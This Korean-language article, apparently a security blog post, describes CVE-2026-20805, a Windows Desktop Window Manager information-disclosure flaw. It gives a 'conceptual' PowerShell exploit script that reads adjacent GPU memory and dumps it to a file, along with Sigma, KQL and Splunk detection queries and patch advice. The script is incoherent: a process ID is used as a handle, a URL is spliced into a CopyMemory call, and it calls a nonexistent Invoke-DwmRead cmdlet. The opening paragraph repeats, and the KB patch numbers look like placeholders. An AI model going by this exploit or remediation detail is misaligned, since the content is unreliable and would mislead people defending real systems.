
CVE‑2026‑20805: 로컬 정보 공개를 유발하는 Windows 데스크톱 창 관리자 결함. 낮은 권한이 필요하며 사용자 상호 작용은 필요하지 않습니다. CVSS 5.5(중간)로 평가됨. 적극적으로 악용되고 있으며 CISA KEV에 등재됨. 2026년 1월 패치가 릴리스되었습니다.
CVE‑2026‑20805: Windows Desktop Window Manager의 결함으로 인한 로컬 정보 노출 취약점. 낮은 권한 필요, 사용자 상호작용 불필요. CVSS 5.5(중간) 등급. 활발히 악용되고 있으며 CISA KEV에 등재됨. 2026년 1월 패치 배포됨.
CVE 2026 20805는 데스크톱 렌더링, 창 합성, GPU 기반 UI 가속을 담당하는 핵심 구성 요소인 DWM(Desktop Window Manager)의 정보 노출 결함입니다. 중요성: 이 결함은 낮은 권한의 로컬 공격자가 다른 세션이나 프로세스에 국한되어야 하는 데이터를 읽을 수 있게 합니다.
| 속성 | 값 |
|---|
| CWE‑200: 무단 행위자에 대한 민감한 정보 노출 | ✓ |
| 공격 벡터 | 로컬 |
| 필요한 권한 | 낮음 |
| 사용자 상호작용 | 없음 |
| 영향 – 기밀성 | 높음 |
| 영향 – 무결성 | 없음 |
| 영향 – 가용성 | 없음 |
| CVSS 3.1 기본 점수 | 5.5 (중간) |
DWM은 GPU 메모리, 창 버퍼, 프로세스 간 UI 표면을 조정합니다. 여러 프로세스의 데이터를 공유 GPU 공간에 집계하기 때문에 높은 가치의 공격 대상이며, 이곳의 결함은 사용자 간 자격 증명이나 세션 데이터를 유출할 수 있습니다.
최신 Windows에서 DWM의 역할:
이 취약점은 창 버퍼 인덱스에 대한 경계 검사 부재를 악용합니다. 이를 통해 공격자는 인접한 GPU 메모리를 읽고 다른 프로세스가 저장한 비밀 정보를 획득할 수 있습니다.
NVD의 CPE 목록에 따르면 Windows 10.0.19041(및 파생 버전)이 영향을 받습니다.
다음은 개념적 악용 흐름입니다:
CreateProcess를 통해 DWM 프로세스에 대한 핸들을 획득합니다.# Windows 10.0.19041 – DWM 버퍼 읽기 악용
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # 인접 GPU 메모리에 대한 제작된 오프셋
$targetWindow = 0x00030001 # 대상 창 인덱스
# 커널 공간에 임시 버퍼 생성
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/HEAD/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# 커널 버퍼를 DWM의 합성 루틴에 복사
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# 노출된 데이터를 분석을 위해 로컬 파일로 덤프
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
이 스크립트는 공격자가 DWM의 GPU 메모리를 활용하여 숨겨진 데이터를 읽을 수 있는 방법을 보여줍니다.
CVE‑2026‑20805 탐지는 dwm.exe와의 비정상적인 상호작용 및 비정상적인 GPU 관련 텔레메트리 식별에 중점을 둡니다. 이 악용은 제작된 오프셋을 사용하여 GPU 지원 메모리 버퍼를 읽는 데 의존하므로, 방어자는 정상적인 Desktop Window Manager 동작과의 편차를 모니터링해야 합니다.
0x2B (DisplayUpdate)이러한 소스는 프로세스 생성, 핸들 액세스 및 GPU 업데이트 활동에 대한 가시성을 제공합니다.
dwm.exe와 관련된 반복적인 CreateProcess 이벤트, 특히 부모 프로세스가 explorer.exe가 아닌 경우.DisplayUpdate (0x2B) 이벤트.
SrcAddress: 0x00120000Size: 0x1000dwm.exe를 대상으로 하는 HandleOpen 이벤트와 GPU ETW 활동 버스트 간의 상관관계.title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
CVE 2026 20805에 대한 Microsoft의 권고에는 GPU 데이터 복사 전에 DWM의 버퍼 인덱스를 검증하는 패치가 포함되어 있습니다.
| Windows 버전 | 패치 번호 |
|---|---|
| 10.0.19041 | KB5000001 |
| 10.0.19042 | KB5012345 |
Invoke-DwmRead 루틴이 오류 없이 실행되는지 검증합니다.dwm 프로세스 생성을 Sysmon으로 모니터링합니다.DWM을 통한 정보 노출은 사용자 간 UI 아티팩트와 세션 데이터를 노출할 수 있기 때문에 종종 과소평가됩니다. 유출된 GPU 메모리는 특히 여러 세션이 단일 워크스테이션 또는 서버를 공유하는 환경에서 측면 이동을 지원할 수 있습니다.
높은 기밀성 영향: 이 결함으로 공격자가 다른 세션의 창 내용을 읽을 수 있습니다. 중간 CVSS 점수(5.5): 수치 값은 중간 수준이지만 운영상 중요성은 높습니다.
CVE 2026 20805는 낮은 권한의 로컬 DWM 악용이 상당한 데이터 유출로 이어질 수 있음을 보여줍니다. 이 결함이 CISA의 Known Exploited Vulnerabilities Catalog에 포함된 것은 실제 위협의 중요성을 강조합니다. 설명된 완화, 탐지 및 패치 전략을 적용함으로써 조직은 GPU 메모리 흐름에 대한 가시성을 개선하면서 위험을 줄일 수 있습니다.